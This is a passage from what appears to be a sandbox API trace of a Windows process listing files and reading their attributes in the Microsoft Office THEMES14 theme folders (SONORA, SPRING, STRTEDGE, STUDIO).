	[0050.731] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1
	[0050.731] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1
	[0050.731] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.731] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.731] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.731] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1270a788 | out: lpFileInformation=0x1270a788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1)) returned 1
	[0050.731] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), fInfoLevelId=0x0, lpFileInformation=0x1270a7d8 | out: lpFileInformation=0x1270a7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f)) returned 1
	[0050.732] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270a828 | out: lpFileInformation=0x1270a828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4)) returned 1
	[0050.732] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270a878 | out: lpFileInformation=0x1270a878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534)) returned 1
	[0050.732] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), fInfoLevelId=0x0, lpFileInformation=0x1270a8c8 | out: lpFileInformation=0x1270a8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.732] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1
	[0050.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1
	[0050.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.733] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.733] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1270aa58 | out: lpFileInformation=0x1270aa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df)) returned 1
	[0050.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), fInfoLevelId=0x0, lpFileInformation=0x1270aaa8 | out: lpFileInformation=0x1270aaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1)) returned 1
	[0050.734] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270aaf8 | out: lpFileInformation=0x1270aaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2)) returned 1
	[0050.734] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270ab48 | out: lpFileInformation=0x1270ab48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45)) returned 1
	[0050.735] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), fInfoLevelId=0x0, lpFileInformation=0x1270ab98 | out: lpFileInformation=0x1270ab98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.736] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.736] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.736] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1
	[0050.736] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1
	[0050.736] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.736] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.736] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1270ad28 | out: lpFileInformation=0x1270ad28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9)) returned 1
	[0050.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), fInfoLevelId=0x0, lpFileInformation=0x1270ad78 | out: lpFileInformation=0x1270ad78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232)) returned 1
	[0050.737] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), fInfoLevelId=0x0, lpFileInformation=0x1270adc8 | out: lpFileInformation=0x1270adc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271)) returned 1
	[0050.738] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1270ae18 | out: lpFileInformation=0x1270ae18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7)) returned 1
	[0050.738] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), fInfoLevelId=0x0, lpFileInformation=0x1270ae68 | out: lpFileInformation=0x1270ae68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.740] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.740] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0050.740] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1
	[0050.740] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1
	[0050.740] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0050.740] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.740] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.740] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1270aff8 | out: lpFileInformation=0x1270aff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b)) returned 1
